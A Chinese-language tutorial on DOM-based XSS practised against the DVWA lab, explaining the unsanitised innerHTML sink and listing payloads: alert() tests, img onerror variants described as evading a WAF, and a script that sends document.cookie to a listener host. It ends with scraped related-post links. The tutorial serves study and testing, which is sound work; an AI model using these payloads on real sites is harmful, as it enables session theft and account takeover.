DOM-Based XSS(基于文档对象模型的跨站脚本攻击)

✅ 一、什么是 DOM XSS?

DOM XSS 是一种发生在浏览器端 JavaScript 中的漏洞,攻击者通过修改页面 URL 参数,使页面的 JS 脚本在未经清洗的情况下处理了恶意内容。

与反射型/存储型不同,DOM XSS 不依赖服务器端返回,而是浏览器前端脚本自己"造出来的洞"。

🧪 二、练习环境:DVWA > XSS (DOM)

  • 拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
  • 打开 DVWA 中的:

XSS (DOM) 页面

你可以在地址栏看到类似:

http://localhost:8080/vulnerabilities/xss_d/?default=English

🔥 三、构造攻击 payload

在 URL 参数 default 中注入恶意 JS:

示例 1:弹窗测试

将 URL 改为:

bash 复制代码
http://localhost:8080/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>

如果弹窗生效,你就成功执行了 DOM XSS。

🧠 四、为什么会生效?

在查看网页源代码(Ctrl+U 或 F12)后,你会看到类似:

bash 复制代码
<script>
  var language = document.URL.split('default=')[1];
  document.getElementById("language").innerHTML = language;
</script>

这个 JS 没有对 language 内容进行任何转义或编码,直接将 URL 中的参数插入了 HTML 页面中,这就构成了 DOM XSS。

🛠️ 五、其他测试 payload(不触发 WAF)

隐形脚本:

bash 复制代码
"><script>alert(1)</script>

使用 onerror:

bash 复制代码
<img src=x onerror=alert('XSS')>

放在 URL 参数里:

bash 复制代码
http://localhost:8080/vulnerabilities/xss_d/?default=<img src=x onerror=alert('XSS')>
bash 复制代码
🎯 六、扩展测试:窃取 Cookie

如果你已经搭建了监听服务:

bash 复制代码
<script>
  new Image().src="http://192.168.220.128:8081/log?c=" + document.cookie;
</script>

URL 编码后放入:

bash 复制代码
http://localhost:8080/vulnerabilities/xss_d/?default=%3Cscript%3Enew%20Image().src%3D%22http%3A//192.168.220.128:8081/log%3Fc%3D%22%2Bdocument.cookie%3C/script%3E
相关推荐
Dontla19 小时前
浏览器localStorage共享机制介绍(持久化客户端存储方案)本地存储冲突、iframe、XSS漏洞、命名空间隔离
前端·网络·xss
周某人姓周20 小时前
DOM型XSS案例
前端·安全·web安全·网络安全·xss
国科安芯2 天前
面向星载芯片原子钟的RISC-V架构MCU抗辐照特性研究及可靠性分析
单片机·嵌入式硬件·架构·制造·risc-v·pcb工艺·安全性测试
介一安全2 天前
OSS-Fuzz 模糊测试使用指南
测试工具·安全性测试·fuzz
码界奇点4 天前
基于SSM框架的旅游门户网站系统的设计与实现
毕业设计·旅游·xss·源代码管理
国科安芯4 天前
航空级PMSM驱动系统中MCU的故障诊断与容错控制策略研究
单片机·嵌入式硬件·安全·架构·制造·安全性测试
菩提小狗4 天前
小迪安全2022-2023|第36天:WEB攻防-通用漏洞&XSS跨站&MXSS&UXSS&FlashXSS_笔记|web安全|渗透测试|
前端·安全·xss
国科安芯4 天前
星载通信载荷电源管理芯片的 SEE/TID 测试方法与在轨可靠性评估
嵌入式硬件·架构·制造·安全性测试
小程故事多_805 天前
穿透 AI 智能面纱:三大高危漏洞(RCE/SSRF/XSS)的攻防博弈与全生命周期防护
前端·人工智能·aigc·xss
菩提小狗5 天前
小迪安全2022-2023|第35天:WEB攻防-通用漏洞&XSS跨站&反射&存储&DOM&盲打&劫持|web安全|渗透测试|
前端·安全·xss